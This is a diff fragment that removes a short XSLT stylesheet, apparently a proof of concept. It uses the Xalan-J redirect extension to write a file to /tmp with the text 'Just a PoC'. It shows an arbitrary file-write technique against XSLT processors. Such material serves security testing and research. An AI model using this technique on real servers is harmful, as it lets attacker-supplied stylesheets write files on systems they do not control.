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... ... @@ -1,13 +1,0 @@ 1 -<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 2 - xmlns:redir="http://xml.apache.org/xalan/redirect" 3 - extension-element-prefixes="redir" 4 - version='1.0'> 5 - 6 - <xsl:template match="/"> 7 - <redir:write file="/tmp/created_by_xalanj_write" method="text"> 8 - <xsl:text>Just a PoC</xsl:text> 9 - </redir:write> 10 - </xsl:template> 11 - 12 -</xsl:stylesheet> 13 -